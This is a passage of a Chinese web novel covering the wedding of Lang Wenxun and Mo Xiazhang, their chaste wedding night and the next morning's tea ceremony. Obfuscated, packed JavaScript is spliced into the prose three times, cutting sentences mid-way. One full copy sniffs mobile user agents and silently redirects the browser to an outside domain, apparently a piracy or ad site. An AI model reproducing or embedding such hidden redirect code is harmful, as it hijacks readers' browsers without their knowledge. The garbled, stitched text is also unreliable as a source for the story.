明明是他结婚不是吗? 莫霞章想去给自己找个容身之处,省得碍了人家的手脚,却不巧有下人来报,老爷喊他。 仍在装病的莫老爷坐在书房偷闲。他五十出头的年纪,面色红润,正是身体硬朗的表现。他正叼着一根烟斗看报,见儿子进来,便熄了烟火,让他坐下。 “怎么样,见过舅老爷和你兄弟了?”只要听到莫老爷对莫霞章说话的语气,谁都会清楚的知道他对这个儿子的喜爱。 莫霞章坐在他对面,十分规矩,“给他请了安,请兄弟们喝了茶,现在大哥正在花厅作陪。” 莫老爷摸不准他对这桩婚事的态度,只以过来人的身份教导他:“你今天见了嫁妆,也该知道朗家不是随便人家,朗家小姐更不是你日后可以任意欺辱的。古人常说成家立业,你即将两事皆全,也更应该了解【责任】二字。你日后不再单是父母的儿子,而是人家的丈夫,未来孩子的父亲。你需要爱护你的家庭,保护好你的家人。男人身上不扛点东西,走路都轻飘飘的,这才是我催你结婚的原因。” “跟妻子的相处之道,我是旧式婚姻,没什么好说的,可你大哥、二哥至少给你树立了不错的榜样。与人说话要和气,与人相处要尊重。做什么事之前不仅要考虑自己是否爽快,还要考虑到妻子是否开心,是否安心。她是你要相伴一生的人,不是可以合不来就分别的陌生人,再不可像以前一样任性胡来。” 莫霞章把这些过来人的生活智慧一一记在心里,面上却做出不太在意的样子。 莫老爷见状,以为他仍不在意,叹了一声气道:“你的这桩婚事本就是我用了心机。若是你日后对朗小姐不好,我怕是给人家的父母下跪,也无法谢罪。” 莫老爷在这边教着儿子,另一边郎太太也在教着女儿。 “去了人家家里,不要一味地只跟婆婆相处,几个嫂子,又或是姑妈表妹的,多招待一下。人家要是邀请你,不论什么,也不管喜不喜欢,先跟着去。你是新进去的人,而她们早就处成了,稍微不好便是冒犯。等时间久了,人家了解你了,才好体现性格,知道吗?” “很多人处理不好妯娌关系,就是这里拒绝,那里怠慢,从小事上得罪的。大家族里,闲言碎语是能杀人的。莫家现在还没分家,哪怕是以后分了家,也不能跟兄弟亲戚们疏远。现在这个年月看不到以后,只有跟亲人们相处得好了,往后才能有人帮衬。” “你做人做事不要小气。进去后先看清楚家里的规矩,有什么意见、想法可以跟姑爷说,万事不要自己出头。以后要跟姑爷拌嘴,也不要闹到外面知道。但若是姑爷有了什么,需要有人给你做主,你也不能一味瞒着委屈自己。” “生活里的智慧有很多,妈妈一时不能全部说给你听。你自小是个聪明的,遇到事情多想想,或者去问王妈。从现在开始你就不是姑娘了,去了人家家里,相夫教子是首要,只望你以后能承担起做女人的责任。” 文薰逐一听着,到最后泪眼朦胧。 朗太太心疼地抱着她,又从袖子里拿出一块黄玉做成的印鉴。这块黄玉成色极好,极透,尤其是顶部的微雕,连叶面都栩栩如生。文薰一见,便认得:“这不是父亲用的章子吗?” 这块章子上的微雕,刻的正是以前朗家在鲁地时住的老宅里的花园。那座祖屋从明传下来,几百年未灭,却在三十余年前毁于一旦。这块章子的底部刻有“鲁伯之孙痴绝于此”的字样,正是讲明了他们朗家的来历。如今朗太太把这块章子拿给她,文薰还有什么不明白? “等你结婚那天,是要去婚书上盖印的,你父亲叫你拿这个……”朗太太说罢,泣声道:“薰儿,哪怕你出嫁了,也千万别忘了你还有家里人。” 新历8月12号,大吉,宜嫁娶。文薰便是在这天出嫁。 15. 大婚 婚礼那天,文薰都不知道自己是如何渡过的。一大早,天还没亮她就被催着从床上起来,紧接着她的屋子里就涌进来一堆的人。除了舅母外,孟老师的妻子,她的师母今天也被请了过来。文薰被摁在梳妆台前装扮,由长寿嬷嬷梳头纳福,再由她绞了脸,然后才开始化妆。 今天出嫁,文薰先穿上的是一套旧制红色婚服,配了云肩,还有凤冠要戴。为了衬这装扮,她的头发需往后勒紧,一丝杂发都不允许露出。文薰在梳头时忍不住疼,偷偷做了好几个鬼脸。 换好婚服后,太阳已经升起。她坐在床边等候,正想着求块点心吃,敬贤小跑着从外头进来,“妈,莫家人来了!” 她话音将落,大家仿佛也能听见喜乐声。 眼瞧着喜婆拎着盖头就要过来,文薰眼疾手快,和敬贤使了个眼色,姐妹俩配合着一人拿了一块摆在旁边的糕点塞进嘴里。 鼓鼓囊囊。 她们的动作被黄太太瞧见,惊得“哎呀”了一声:“丫头们,不能吃东西的。” 敬贤挡在文薰前面,含糊说:“妈,现在是什么年代了,哪有结个婚一整天水米不进的?这不是虐待嘛。再说,姐姐不吃点东西,待会儿饿出个好歹来,拜堂时发晕怎么办?” 文薰觉得这话十分在理,只是头上首饰太重,不好做动作,便眨巴了两下眼睛以示赞同。 都已经吃了,难不成还能叫她们吐出来?黄太太拿姐妹俩没有办法,赶紧把敬贤隔开,防止她俩伙同作案,再行偷吃之事。 “小心被你姑妈看见!” 又叫喜婆拿来漆木罐子,从里面取出一片茶叶,待文薰漱口后让她含在嘴里。 “这是莫家送来的茶礼,也是习俗。从现在开始就不能说话了,啊。到了改口喊人的时候,吞下去就成。” 黄太太摸了摸外甥女的脸,最后端详,才含着眼泪和喜婆配合着替她将红盖头盖上。 从这时起,舌尖泛着苦味的文薰的眼前便只有一片大红。 迎亲队伍的吹打声由远及近,文薰只听得一阵人声,喜婆这时又用她欢天喜地的声音喊道:“小姐,姑爷进门了。” 作为伴娘的敬贤赶紧在母亲的示意下过来把姐姐扶起,掺着她出了院子。 今天天气好,文薰却并未感觉到晒,缘是因为有人在她头顶撑开了一把大伞——这正是讨吉利的习俗,民间称“开枝散叶”。 敬贤依照妈妈的吩咐,在文薰往前走的路上洒些糯米、粟米,喜婆又在旁边唱了些祝愿新人日后衣食无忧的话。 来到正厅,文薰就要拜别父母了。按礼节,这里她得呜咽两声。这习俗叫“哭嫁”,有人说是从春秋时期因西施传下来的习俗。文薰忙碌了一大早上,如今只有疲累,突如其来哪里能哭得出来?可是后来她又听见父母和舅母的哭声,不知怎么鼻子一酸,竟也是说哭就哭了。 待新娘和家人哭完,便由新郎背起新娘出门进花轿。文薰如今本来就看不见,敬贤一旦放开她,她下意识地垂眼伸手去寻,刚好有一只温热的大手握住了她的五指。 她感受到了那人右手中指处的笔茧,这显然是一只读书人的手。 地面上,有块绛红色的袍角靠近。文薰只听得莫霞章低声说:“文薰,别怕。” 今天倒是知道不叫姐姐了。 今天这个时刻,着实值得令人铭记。哪怕是往后过去十年,文薰也记得此时心里的滋味。就好像她回国那天,看到船只靠港,她从甲板上下来,再临故土一样。 莫霞章看着文弱,他的气性却让她能够生出信任,他的过往也足以让她愿意依靠。 文薰趴在莫霞章的背上,半点不摇晃。她的新婚丈夫走得很稳,似乎是他往前的每一步路都慎重考虑过——不仅仅是他自己,还连带着她。 文薰此时终于稍微明白母亲所说的“夫妻一体”。 到了花轿,莫霞章就会把她放下,可实际上,他得背着她,直到此生的尽头。 这并非是文薰对他的要求,而是这个时代赋予男人的责任。 文薰想,婚礼上有这一步,莫非也是古人的智慧? 她不禁将西式婚礼与之对比,不到片刻,她得出结论。在她心里,和丈夫一起手拉着手走入婚姻的殿堂,这种平等的方式或许更适合她。她不需要别人背负她的人生,她一直所求的,不过是身边能有个志同道合的伴侣。 在鞭炮声中,文薰进了花轿。四周有各种吵闹,她心里愈发清明。 和送嫁妆时走的程序一样,花轿被抬到火车站,也是上了一辆特别列车,载着迎亲的队伍和宾客们去金陵。到了金陵城,新郎在前面骑着白色大马开路,一路上吹锣打鼓,鞭炮齐鸣,锣鼓喧天,朗文薰在一片喧嚣中进了莫园。 又经过了一轮踢轿门、跨火盆的旧式习俗,终于来到行拜堂之礼。文薰坐了一路花轿本就困倦,几个弯腰躬身下来,虽眼冒金星,可身子松快了不少。 她正松了口气,忽然听见周围安静下来。 垂眼见着新郎的脚走到了自己身前,文薰这才反应过来,怕是要掀红盖头了。 莫霞章做事坦荡,偏生在此时犹豫。他自然不是害羞,而是近乡情怯。他知道,掀了盖头,再与文薰相见,两人便是一条根生出来的果实了。她是她的妻子,她和他共享未来。这是一段他从未拥有过的亲密关系,他如何能不紧张? 他甚至能听到自己的呼吸声。 莫霞章压住心头的悸动,伸出双手,极虔诚地掀起了代表着传统的,和对新人祝福的红盖头。 乍然得见光明,文薰先眯了眯眼睛,然后才睁开。 入目之中除了满堂宾客外,便是系着大红绸花,戴着帽子的莫霞章。他的紧张显而易见,还带了些少见的呆相,让文薰没忍住笑了起来。 说实在的,莫霞章今天的状态并没有比她好到哪里去。他要从金陵去广陵,起的更早,也没吃什么东西。到了朗府,在大厅面对岳父岳母和亲戚们哭嫁时,他一时慌了手脚,脸色绷得更紧。刚才拜堂时,他不知为何紧张,拽着红绸的手都在发抖。现在挑了盖头,看着挽着头发戴凤冠的朗文薰,只觉得这场景只在梦里见过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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文薰这时感受到头皮刺痛,也不愿意纠结此事了。她伸手向霞章求援,“霞章,我得先把这冠子取下来。” 莫霞章心细,先把二人打结的衣摆解了,才跪坐到一边,小心翼翼地帮助文薰拆解凤冠。 喜房这时被人偷偷推开了一条门缝。 “新少奶奶和新姑爷在吗?” 文薰眼尖,看清楚那人是谁,忙开口道:“巧珍,别作怪,快进来帮忙。” 巧珍嘻嘻一笑,推门进来,手里还端了两碗清汤细面。 她先把东西放下,然后过来把拆了冠子的文薰扶起来,讨好地屈了屈膝,“恭贺少爷,少奶奶大喜。” 文薰轻轻给她额头上来了个一指禅,“小丫头。” 巧珍吐了吐舌头,见莫霞章笑着摇头,手里还捧着一堆珠钗,忙道:“我来收拾吧。少爷,您快和少奶奶吃点东西。吃完了,换了衣裳,咱们还得去前面给宾客敬酒呢。” 文薰摁着脑袋放松着被勒紧的头皮,也招呼着:“对,先过来吃吧。” “好。”莫霞章听话地起身,把手里的东西小心地交给巧珍,过来与她一起坐下。 房间里放了冰,又有风扇,并不热人。莫霞章握着筷子挑开细面,抬眼见到文薰吃得香,显然是饿极了,不免又笑。 文薰并不生气,只催他,“你快吃一口,也好让我笑话你。” 莫霞章沉吟,张嘴,往嘴里塞了好结实的一筷子面。 他有意出丑,文薰确实觉得滑稽,捂住嘴笑出了声。 16. 新婚之夜 几口面下肚,心里总算踏实了。文薰用手绢擦了擦嘴唇,顺着歇息的功夫问道:“我听说,今天院子里摆了三四十桌?” 莫霞章点头,仔细和她说道:“除了家里的亲戚,还有生意场上的朋友、政府里的朋友,加上四邻,差不多有这么多。” 莫霞章和朗文薰的婚事在那天大哥一家携正主登门后便将消息登了报,请柬也是那之后便发了出去。他们二人见面时,婚礼该布置的都准备得差不多了。看似时间短,其实这场婚礼办得根本不仓促,乃是两家准备了大半年有余。 莫霞章略一思索,担心文薰不认识人,便想着现在提前叫她知道。 “我父亲名礼荀,母亲姓谢,闺名孝芸,是甬城人。主桌上除了父母亲外,还有我二妈。她姓张,闺名惠群,你日常随我叫二妈便好。二妈是传统的旧式女子,在家里有三十多年了,日常陪着母亲管家,人是最和气不过的。” 文薰听他说起家里事,知道这些是自己必须要记住的,也露出认真地神态。 “席上还有一位长辈,是我嫡亲姑妈。她叫延圣,已经过世的姑父姓曹,仙名问道。那日送聘礼的玄致表兄正是家中的长子,今年二十三岁,在政府资料处做文员。” 说话间,巧珍过来收拾桌子,也支了个耳朵认真听着。 “曹家还有一个妹妹,叫妙致,十九岁,在沪市的圣蒂安娜大学读书。玄致表兄前年冬天娶了汪家的女儿,叫锦姝。锦姝表嫂是北方人,为人快人快语,没读过什么书,日后若有冒犯,你别见怪。” 莫霞章把筷子搁在碗上交付了出去,让巧珍拿走。文薰注意了一眼,发现他吃的并不算多。 “除了三姑妈外,父亲还有一个姐姐也在北方,为大姑妈。只是大姑父的父亲三月前病逝了,家里有孝,不方便来,只送了礼物。等有机会去给她拜年,我再将她家里的情况说与你听。” “至于我母亲那边的亲戚,有两位舅舅,一位姨妈。之前时局不好,四处分散着,今天只有大舅舅家来了,我待会儿为你介绍。” 文薰点了点头,抬手给他倒了杯茶。 莫霞章接过喝了一小口,“再来是大哥一家,他们你也见过。大哥大嫂成婚三年,并没有生育。大嫂瑞芬是钱塘苏家的女儿,几代翰林出身,也是世代读书的清贵人家。瑞芬嫂嫂是个能力很强的女子,我日常十分敬佩她。” “我二哥比大哥要小两岁,比我大三岁。二哥为二妈所生,不过我们家不讲究那些,二妈一手养大了我,二哥也是被母亲带大,我们家里人的感情一直很好。二哥是去年春天娶的亲,二嫂叫琼玉,是彭城钟家的女儿,她和我二哥是在日本认识的,回国后又一起在南边政府工作,经自由恋爱后结婚。” 他讲完,也觉得自己家里人有些多,寻常人或许一时记不住,便补充了一句:“姐姐且先听着。日后若有对不上的,再来问我。” 说完家里的情况,莫霞章又提起他的老师们。文薰等他说完,礼尚往来,也给霞章介绍自己的亲朋。 不论是朗家还是黄家都人口简单,今日唯独值得一提的是老师孟海白,还有文薰高中时的好友——不仅是那日文薰见过的崔禹容和丈夫来了,提及到的吕伯宜也和丈夫在席上就坐。 介绍得差不多之后,夫妻俩开始换衣服。文薰在巧珍的帮助下重新挽了头发,换了一件蕾丝花边的贴身白色露肩鱼尾裙,头上戴了白色短纱,和穿着白色正式西装戴红色波点领带的莫霞章一起出了喜房。 莫家的各处院子里,到处都是宾客。文薰先跟着莫霞章去主桌给长辈敬酒,夫妻二人互相请对方的父母吃酒,然后被双亲兄嫂们带着一起去见宾客。 首先是师长那桌。这群穿着长衫的老先生自有长辈在前面应酬,文薰和霞章只需要点头,露出一两个笑意便好。 莫霞章着重给她介绍了如今临安大学的校长郑鸿基先生。 往后是政府同事那桌。这时候,便换二哥二嫂顶上。 什么总长、次长、司令、专员,文薰也不认识。大家客客气气地,好像有了不得的交情。相谈正欢时,有一位戴着圆框眼镜,显得木愣的老先生起身道:“恭喜莫家再添佳媳。” 莫霞章见文薰盯着他看,在她耳边提醒:“这便是那位张芝俨。” 文薰愣了一下,也学着他的样子小声回话:“好得这么快?” 不是说遭到袭击,重伤吗? 莫霞章歪着脑袋,侧耳听她说话,即时应答,“本就没有伤到哪处。” 那日张芝俨遇袭后,为政府发声的事便不了了之了。在上周,南方政府通电全国,愿意实现往日对工人的承诺,可谓是抗争后的成功。 旁边又有一位戴着眼镜,穿着黑色西装的青年男士,莫霞章小声示意文薰道:“这位便是朴公。” 文薰打量了一眼,见“朴公”面貌端正,也是略有几分才貌的。 莫霞章介绍说:“他本名叫罗友群,曾去日本、美国多方留学,如今是金陵大学的教育处处长。” 这一桌待得久了一些,等到了莫霞章的朋友那桌才得松快。文薰看着在座的人,一一把名字和面容对上。 再往后,轮到文薰领着莫霞章去见朗家亲朋。对着亲戚,霞章亲近;对着孟老师和师母,霞章亦是尊敬。 孟海白这时候感慨连连:“你们二人若是论起缘分,绝不算浅。只望你们以后好好生活,夫妻同心。” 桌上除了禹容和伯宜两位朋友外,还有一位白人男士,正是和文薰一起回国的那位。他是个美国人,叫戴森,在沪市从事外交工作,今日前来做客,一直是文鼎在招待他。 戴森和文薰很熟稔,也了解中国的礼节,没有进行拥抱、贴面之类,而是礼貌地和文薰握手,又和新郎握手。 他见了霞章,还用有口音的中文道:“温妮,你的丈夫和你长得很像。” 旁人听了都大笑起来。 师母说:“戴森先生好眼光,我也觉得我们文薰和莫公子有夫妻相呢。” 如此热闹到了下午,自有仆人们安排宾客们娱乐。文薰和霞章也互相做伴,和各自的朋友玩闹。一行人闹到傍晚,又是晚宴,又是送客,好不容易歇了口气,夜深人静,静谧时分,新人终于进入喜房。 文薰自醒事后,连把她奶大的王妈都不要,自小便是一个人睡觉。可现在结婚了,想必论及国内哪处的习俗,都没有亲婚夫妇分床睡的道理。 婚房里点着几盏台灯,又烧着红烛,衬得气氛昏黄暧昧。洗漱后,文薰穿着睡衣,抱着枕头,看着崭新的架子床面露踌躇。 这是她的床。 现在又不仅仅只是她的床。 她双眼放空,脑子里想象着一些过家家式的亲密画面,一遍遍地让自己安稳自处。正出神时,黄花梨木门“吱呀”一声发出声响,惊得她回头,也见了穿着一身寝衣的莫霞章。 两人互望,都有些发怔。莫霞章更是说了句呆话:“姐姐怎么还不睡?” 说完又后悔,转头轻咳一声。 文薰实在是不想面对这份尴尬,索性把枕头一扔,上床去了。 她正抖着毯子,霞章走了过来。才刚靠近,感知到的文薰就有些不适地往里挪了挪。 霞章便在原地站定。 他轻声说话,语气干脆,“有件事想同姐姐商量。” 文薰勉强回头看他:“你说。” 他似乎早就有此决定,“最近天气热,我日后想去书房睡觉。” 文薰十分意外,她亦不知如何决断,只愕然道:“……公公婆婆会有意见的。” 霞章表现得十分有担当,“我会去做说明,这本就是我的主意,我保证他们不会怪罪姐姐。” 文薰心中细忖,不知道这件事能不能完全相信他。 霞章见她犹豫,便换了角度问:“姐姐愿意跟我睡在一块儿吗?” 愿意吗?虽然嫁了,但他们拢共才见了三回。要说欣赏,那是有的,可一想到待会儿和他挨着躺下,肌肤相亲…… 人或许就是这样。若是莫霞章不开这个口子,文薰就算再为难也会硬着头皮。现在莫霞章既然这么说了,她反倒期望起来。 于是她便委婉道:“天热出汗,怪黏人的。” 霞章已然明白了她的意思,笑着道:“今日到底新婚,我先睡到塌上,待明日再搬。” 他说完就拢了条毯子,拿了个枕头,一路熄灯,往屋子另一头去了。 霞章看他动作熟练,心里升起对他的感激,忍不住道:“霞章,多谢你体谅我。” 莫霞章盘腿坐在塌上,昏暗的烛火照亮他认真的脸,“是我多事,请姐姐不要见怪,我也怕热,更不习惯与他人同睡。” 朗文薰终于轻松地笑了。她关了床头的台灯,在新床上躺下,竟生出些踏实感。 把双手交叠放在肚子上,十指灵活地跃动着,她望着头顶的红帐子轻声问:“蜡烛是不是得点到天明?” “按习俗是的。”莫霞章的声音从另一边传来,像穿过了云雾,有些朦胧,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他跟随老先生学习,可那群老先生好些都是赶上第一批留学热潮的人。 文薰想明白这个道理,捧场地露出期待的神情,“那你给我展示一下?” “日久天长,不必急于一时,”莫霞章故作自衿,“我现在的要紧任务是做一台留声机,给女士奏乐。” 文薰笑出了声。她的目光随着他移动,跟着他回到塌边坐好,低头试了音,几息间便开始演奏。 那是一阵很悠扬,很宁静,很令人安心的音乐。 文薰重新侧身躺好。她枕着手掌,缓缓闭目聆听,仿佛见到了秋天金黄的麦田,和农民们丰收的喜悦。 不知过了多久,她想着丈夫或许累了,想开口叫他别弹了,却控制不了般迷迷糊糊地,沉沉睡去。 佳人的睡颜是极美的。 这又是他的新婚妻子。 莫霞章认真看着,好一阵头昏眼花,到最后弹错了音,曲不成调。 手指一松,琴声瞬止,屋子里只剩下微不可闻的呼吸声。 莫霞章低头嘲笑自己失态,又庆幸刚才的失误没让文薰听见。 他本不是有多自负的人,如今却强求般的想要在她面前展示出自己最好的那一面。 静谧之中,莫霞章免不了又想起昨天看的那份报纸。 报纸上有一篇文章对莫朗两家的婚事大肆点评,其中还提及到了文薰。一些话语,当时看了着实气愤,事后想来,又不无道理。 这桩婚事虽说是父母用了心机,几乎挟恩图报,可他也不能把过错全部归咎于父母,因为最终的受益人分明是他。他是出于心喜,才半推半就的答应。可朗家姐姐是为什么? 怕是顾全大局,才愿意委屈自己,下嫁于他。 婚姻真是一件可恶的事,凭什么好好的女孩子结了婚,不仅就此丢了姓氏,还要全心全意地成为另外一个自己完全不熟悉的家里人? 思及文薰刚才的忐忑和辗转反侧,莫霞章把脑袋靠在琴上,悠悠地叹了口气。 跟见过外头天地的朗文薰比起来,他有什么好?不过是多读了几本旧书,懂些旧礼罢了。他小时候还有那样的经历…… 他虽然不觉得有什么,他也相信文薰不会觉得有什么,但众口铄金,嘴里吐出的言语确确实实是能化作利刃伤人的。 嫁了一个做过女人的男人。 可笑,女人有什么不好? 偏偏这世俗觉得不好。 被旧社会和封建制度欺压、逼迫成这样,还不好。 莫霞章从不怕被人嘲笑,可如今他却有些害怕牵连到妻子。 他是有些愧疚的。 所以免不了想对她好一些,再好一些。 生怕怠慢。 生怕辱没了她。 17. 新媳妇敬茶 或许是被音乐声安了心,文薰得了一夜好眠。 到了早晨,自有仆人来请。不过两道敲门声,朗文薰便从睡梦中醒来。她睁开眼第一眼望见的,是对面塌上坐起来睡眼朦胧的莫霞章。 莫公子二十出头的年纪,如今双颊上还有些小孩肉。平日里他紧绷着面容看不太出,只觉得这人冷淡,如今看来,却是不可多得的可爱。 三道敲门声之后,王妈的声音在外面响起:“三少爷,三少奶奶,该起床用早饭了。” 莫霞章忙起身,把枕头和毯子抱过来。夫妻俩手忙脚乱,好一番收拾,等东西放好后,才由文薰开口道:“进来吧。” 门开了,领头进来的是王妈和巧珍,她们的身后还跟了几个婆子和小媳妇,瞧着眼生,面上皆是喜气洋洋。 霞章解释了一句:“是我母亲房里的人,叫吴妈。” 也是听见了他这句话,吴妈上前道:“恭贺少爷、少奶奶新婚大喜了。” 莫霞章只点了点头,面色沉静,“我和少奶奶不爱讲那些旧规矩,但还是劳你费心来问好。” 吴妈笑了笑,转眼间,把视线落到已经起身的文薰身上,似乎在观察什么。 不用小姐开口,巧珍自己拿了些个红包一一散给众人。 莫霞章望着场面有人处理,转身洗手脸去了。 文薰见他大方,回头望了一眼床铺,便也不做掩饰,自去洗漱。她前些日子烫了卷发,尚算便于打理。又和巧珍配合着梳头,换上王妈拿来的浅胭脂色起白玉兰花色的旗袍。 因为年轻,她以往向来不喜欢这类红色,总觉得有些俗气。可她也能理解王妈的意思,这正是衬她新婚,便还是穿了。 莫霞章速度快些,换了条黛紫色的长衫过来。他望见吴妈在收燃尽的喜烛,不知想起什么,站在原地沉默了一会儿,而后来到梳妆台看文薰梳妆。 他的眼睛在妻子的头发和镜子里倒影出的面容间转了几个来回,似乎十分新奇。他不仅不觉得无聊,还看出了几分兴味,顺手从匣子里给她挑了个丁香色的水晶发夹。 文薰接过,往头上比了一下,戴好,算是认可他的眼光。 王妈在她起身之后,把莫家聘礼里送的竹节式玉镯取来套在她的手腕上。 等文薰收拾好,便和她一起去父母房里请安,顺便陪二位长辈用饭。 今天的早饭吃得简单。莫老爷喝虾米清粥,配了两截广式红肠。莫太太吃苏式蟹肉小馄饨,只浅浅一碗。文薰用的是一碗三虾面,只需一两,佐清汤。莫霞章则是吃了几个酱肉小笼包,很快便搁了筷子。 回想起昨日的那碗面,不知他是胃口不大,还是本身就不爱多吃。 文薰低头垂眸,小口吃着自己的东西。她刚来莫家,这里对她来说还是一个陌生环境,虽不至于拘束,可因为心里没底,所以对于一切事物还是以小心观望为主。 没一会儿,又有位面貌慈爱的妈妈端了碗东西过来。她初时以为是茶水,凑近了才从色泽和味道里发现是汤药。那碗药汁子被放到莫霞章手边,他没做反应。那妈妈劝了他两句,才无奈地端了起来。 这药喝完,一度叫莫霞章双眼紧闭。他眉头轻蹙,喉头微动,嘴角紧抿,看起来难受得紧。那妈妈拿来两颗蜜枣,被他推了,就又给他端来清水漱口。 吃过饭,用清茶。莫太太喝了两口便要去洗脸,说热的慌。文薰正望着她干净的面容,莫太太却朝她道:“文薰,你跟我一起来吧。” 这是母亲有话要说了。文薰看了莫霞章一眼,得到了他一个安心的眼神后,起身跟从。 独留下莫老爷和莫霞章相对无言。 巧珍也想跟过去,被个婆子一挡,立马机灵地退回来,低头默不作声,站回到莫霞章身后。 只是一双眼睛跟会说话似的,写满了担心。 去了后边厅堂,仆人们早已经打了盆水放在木架子上。看着手帕被捧到面前,文薰已然明白。她没服侍过人,可也照顾过家里的母亲,便自如地打湿了帕子,拧干之后交给莫太太。 莫太太露出满意的微笑,擦脸后,为了表示亲近,也重新弄湿了一张帕子帮她擦手。 待莫太太取回了她的佛珠手串,婆媳俩便这么拉着到旁边坐下。 莫太太的个子比一般南方女性要高,眼睛大,瞳色黑,眼尾上挑,眼窝也深。再画得一双挑眉,哪怕不做表情,也不容人冒犯。 从小时第一次见她,文薰便对她印象深刻,因为莫太太正是她少见的那种能给人带来压力的女性。 十多年未见,莫太太的脸更削瘦了些,这引得她的颧骨凸起,更有不怒自威的气势。她的声音不大,语速也缓,可每个字都落地有声。 “我还记得你妈妈说过,你在英国学的是传统文学。你读了四年,不仅拿到了学位,还翻译了一本十分著名的小说,正待发表。” “是。” “做些文章,这是好事。想来像我们这样的人家,寻常时候,都是爱写些文章打发时间的。至于文章的良莠……不怕你笑话,家里是没人写得过霞儿那孩子的。” 她想要表达的骄傲并不会因为她平稳的语气而减去半分。 文薰便也配合道:“我听说过他下笔十分厉害。” 莫太太谈起儿子,脸上的线条都柔和了,“他有时候也喜欢随便写些瞎折腾的东西,令人操心。” 她状似闲话家常,十分关心地问:“书册定好了吗,委托了哪家出版社发布,我们能不能帮上忙?” 文薰如实说:“此事于月前交由我的老师孟海白先生处理,现在已经在排版了。” “那便好。”莫太太眨了眨眼,浅浅将文薰通身看了一遍,莞尔笑道:“你是个很有灵气的女孩子,小的时候见你,我就非常喜欢你。” 她说话时,习惯性地转动起手里的佛珠,“我们家里是没有女孩的,还好能有三个儿媳妇,凑成了阴阳调和的局面。文薰,你虽然是嫁到我们家来的,可在我心里,这家里不是多了一个媳妇,而是又有了一个闺女。” 文薰不搭话,只是面色恭敬,等着她继续说完。 莫太太望着她手腕上的玉镯子,心里更满意了些,“这对镯子,是以前太后老佛爷的珍藏,机缘巧合才被咱们家得了。我出嫁时,我的母亲取了它为我添妆。” 文薰低头一看,道:“原来是母亲的心爱之物。” 莫太太却道:“霞儿也是我的心头肉,如今都是你的了。” 文薰一时愕然,不知该如何接话。 好在太太的本意也不是为难,她拉过她的手,说:“文薰,你和霞儿既然已经结婚,我便把他交给你了。现在是新时代,女人们能走出家门,拥有自己的事业,这很好,可也不要忘了顾及家里的丈夫。霞儿惯来是个喜欢折腾的,他的事你免不了要多用些心。” 到这里,她叹了口气,“我也不瞒你,那孩子气我和他父亲摆弄他,少年时便同我们生了隔阂,后来更是闹到要离家去北方读书。父母健在,儿不远游,游必有方。若放在前清,他可是要被人戳脊梁骨骂的。也是我们惯他,实在拗不过他,才允了他,委托了他大姑妈费心照顾。说句心里话,以前那么贴心的孩子,从那之后就不与我和他父亲亲近了,我们做人父母的,如何能不难受?” 她见文薰抬头,言辞更加恳切,“你为人庄重妥帖,又比他年长,希望你在这方面多劝劝他。不论如何,霞儿他是个男人。男人顶天立地,是我们女人一生的依靠,他们好了,我们才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181132|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能好。” 说到这里,她略微停下,观察了一眼文薰的表情,才继续道:“霞儿他性子倔,但本性良善,绝对是个好孩子,他不会对不起你。若是以后被人带坏,犯了毛病,你是姐姐,多少让着他。我知道,你以前是没有在学校学过家政和如何做人妻子的,以后要是有什么不懂的,可以来多问我。如果是霞章真做错了事,我一定骂他,保准不偏心。” 这时,有个婆子从前厅过来:“太太,姑太太家过来了。” 莫太太便收了话语,亲热地拉着文薰一起回到前边。 也是正巧,几位哥嫂也一同到了。待到他们坐下后,便是文薰敬茶。 昨日婚礼上虽然敬过,但那是为了走礼,作不得数。在莫家看来,只有今天才是正儿八经的规矩。 巧珍接过婆子手里的茶水端过来,本来要直接递给文薰,半途却被莫霞章接过。众人眼色各异,莫霞章却当作没看到。他和文薰通过眼神交流,和她一齐站在了端坐在堂上的父母面前。 文薰跪下,霞章也跪,惊得莫太太面色一肃,连忙招呼:“何妈,快给少爷拿张垫子。” 莫霞章也没抗拒,起身又重新跪了一轮。 朗文薰转过头,直直地盯着他。 莫霞章也不说话,只把手里的托盘往前面送了送。 朗文薰便拿了一杯茶,恭敬地端给莫老爷:“请父亲用茶。” 莫老爷吸了口气,浅抿了一口。他拿出红包交给文薰,又从怀里拿出一条玉坠子赠予她:“你乖。” 夫妻二人起身,又对着母亲跪下。 莫太太不敢耽误,沾了茶水后给红包,又把脖子上的宝石项链摘下来,“好孩子,快起来。” 等文薰起身,霞章才把手里的茶盘交给巧珍。 莫老爷见了,居然还有些欣慰:“只望日后你夫妻二人也能如今日一般,甘苦与共。” 莫老爷穿着有福寿纹的长衫短褂,戴着一副无框的银边眼镜,留着短须,正是旧式的文人装扮。他看着约摸要比自家父亲年长几岁,面相却没有父亲那么严肃,嘴角是上扬的趋势,面上也一直带笑,是以眼尾的皱纹也多。 看着是十分和蔼可亲的。 文薰低了低头。坐下后,又被莫霞章引着去见二妈。 二妈和莫太太穿着一样的旧式衣裙,只是莫太太穿着绛色,显得庄重,二妈则穿的群青色,显得年轻些。 按旧规矩,她不需要给二妈敬茶,可莫霞章还是端了杯茶水给她。 文薰明白他的意思,想起他说过自己是被二妈养大,便躬身请二妈用了,区别只在于没有行跪礼。 二妈把手上的一对虾须金镯摘给了她。 这之后是给姑妈见礼。 姑太太穿的是棕红色的旗袍,也是为了侄儿的新婚衬景。文薰朝她福了一礼后,得了她一笑。 回到座位,这之后的兄弟,嫂子,妹妹等同辈,只需要点头便好。 流程走到最后,莫老爷发话:“霞章结婚,算是了了一桩我的心头大事。咱们家日后再办喜事,便要等到妙致出嫁了。” 